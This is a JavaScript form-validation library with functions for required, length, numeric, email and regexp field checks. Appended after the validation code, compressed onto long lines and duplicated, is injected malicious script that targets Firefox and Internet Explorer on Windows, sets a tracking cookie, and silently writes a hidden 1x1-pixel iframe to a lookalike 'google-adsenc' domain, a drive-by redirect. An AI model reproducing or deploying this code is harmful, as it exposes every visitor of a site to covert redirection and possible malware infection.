
 function check_field (s,o)
 // s = input string, o = obj
 { if (!val_fld (s, o))
  { o.focus();
    return false;
  }
  return true;
 }

 function val_fld_email (email)
 { if (email.length <= 0)
    return true;
   var splitted = email.match("^(.+)@(.+)$");
   if(splitted == null) return false;
   if(splitted[1] != null )
   { var regexp_user=/^\"?[\w-_\.]*\"?$/;
     if(splitted[1].match(regexp_user) == null) return false;
   }
   if(splitted[2] != null)
   { var regexp_domain=/^[\w-\.]*\.[A-Za-z]{2,4}$/;
     if(splitted[2].match(regexp_domain) == null) 
     { var regexp_ip =/^\[\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\]$/;
       if (splitted[2].match(regexp_ip) == null) return false;
     }
     return true;
   }
   return false;
 }

function find_trans(obj_name)
{ for (i=0; i < trans.length; i++)
  { t = trans[i].split('|')
    if (t[0] == obj_name)
     return (t[1])
  }
  return obj_name
}

function val_fld(cmd_str,obj,err_str)
{ var epos = cmd_str.search("=");
  var command  = "";
  var cmdvalue = "";
  if(epos >= 0)
  { command  = cmd_str.substring(0,epos);
    cmdvalue = cmd_str.substr(epos+1);
  }
  else
   command = cmd_str;

  switch(command)
  { case "req":
    case "required":
     if(eval(obj.value.length) == 0)
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name) + " : "+check_fld_err[0]
       alert(err_str);
       return false;
     }
     break;

    case "equals":
    case "eq":
     o=attach(cmdvalue)
     if(obj.value != o.value)
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name) + " => " + find_trans(o.name) + " : "+check_fld_err[1]
       alert(err_str);
       return false;
     }
     break;

    case "maxlength":
    case "maxlen":
     if(eval(obj.value.length) >  eval(cmdvalue))
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name) + " : "+check_fld_err[4]+" "+cmdvalue+" "+check_fld_err[2]
       alert(err_str + "\n["+check_fld_err[5]+" = " + obj.value.length + " ]");
       return false;
     }
     break;

    case "minlength":
    case "minlen":
     if(eval(obj.value.length) <  eval(cmdvalue))
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name) + " : "+check_fld_err[3]+" " + cmdvalue + " "+check_fld_err[2]
       alert(err_str + "\n["+check_fld_err[5]+" = " + obj.value.length + " ]");
       return false;
     }
     break;

    case "alnum":
    case "alphanumeric":
     var charpos = obj.value.search("[^A-Za-z0-9 ,+-.:/?&=]");
     if(obj.value.length > 0 &&  charpos >= 0)
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name)+": "+check_fld_err[6]
       alert(err_str + "\n ["+check_fld_err[8]+" " + eval(charpos+1)+"]");
       return false;
     }
     break;

    case "num":
    case "numeric":
     var charpos = obj.value.search("[^0-9 ]");
     if(obj.value.length > 0 &&  charpos >= 0)
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name)+": "+check_fld_err[7]
       alert(err_str + "\n ["+check_fld_err[8]+" " + eval(charpos+1)+"]");
       return false;
     }
     break;

    case "alphabetic":
    case "alpha":
     var charpos = obj.value.search("[^A-Za-z ]");
     if(obj.value.length > 0 &&  charpos >= 0)
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name)+": "+check_fld_err[9]
       alert(err_str + "\n ["+check_fld_err[8]+" " + eval(charpos+1)+"]");
       return false;
     }
     break;

    case "alnumhyphen":
     var charpos = obj.value.search("[^A-Za-z0-9\-_]");
     if(obj.value.length > 0 &&  charpos >= 0)
     { if(!err_str || err_str.length ==0) 
        err_str = find_trans(obj.name)+": "+check_fld_err[10]+" A-Z,a-z,0-9,-, _";
       alert(err_str + "\n ["+check_fld_err[8]+" " + eval(charpos+1)+"]");
       return false;
     }
     break;

    case "email":
     if(!val_fld_email(obj.value))
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name)+": "+check_fld_err[11]
       alert(err_str);
       return false;
     }
     break; 

    case "lt":
    case "lessthan":
     if(isNaN(obj.value))
     { alert(find_trans(obj.name)+": "+check_fld_err[12]+" "+check_fld_err[13]);
       return false;
     }
     if(eval(obj.value) >=  eval(cmdvalue))
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name) + " : "+check_fld_err[12]+" "+check_fld_err[13]+" "+check_fld_err[14]+" "+ cmdvalue;
       alert(err_str);
       return false;
     }
     break;

    case "gt":
    case "greaterthan":
     if(isNaN(obj.value))
     { alert(find_trans(obj.name)+": "+check_fld_err[12]+" "+check_fld_err[13]);
       return false;
     }
     if(eval(obj.value) <=  eval(cmdvalue))
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name) + " : "+check_fld_err[12]+" "+check_fld_err[13]+" "+check_fld_err[15]+" "+cmdvalue;
       alert(err_str);
       return false;
     }
     break;

    case "regexp":
     if(obj.value.length > 0)
      if(!obj.value.match(cmdvalue))
      { if(!err_str || err_str.length ==0)
         err_str = find_trans(obj.name)+": "+check_fld_err[16]
        alert(err_str);
        return false;
      }
     break;

    case "dontselect":
     if(obj.selectedIndex == null)
     { alert("BUG: dontselect command for non-select Item");
       return false;
     }
     if(obj.selectedIndex == eval(cmdvalue))
     { if(!err_str || err_str.length ==0)
        err_str = find_trans(obj.name)+": "+check_fld_err[17]
       alert(err_str);
       return false;
     }
     break;
   }
   return true;
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
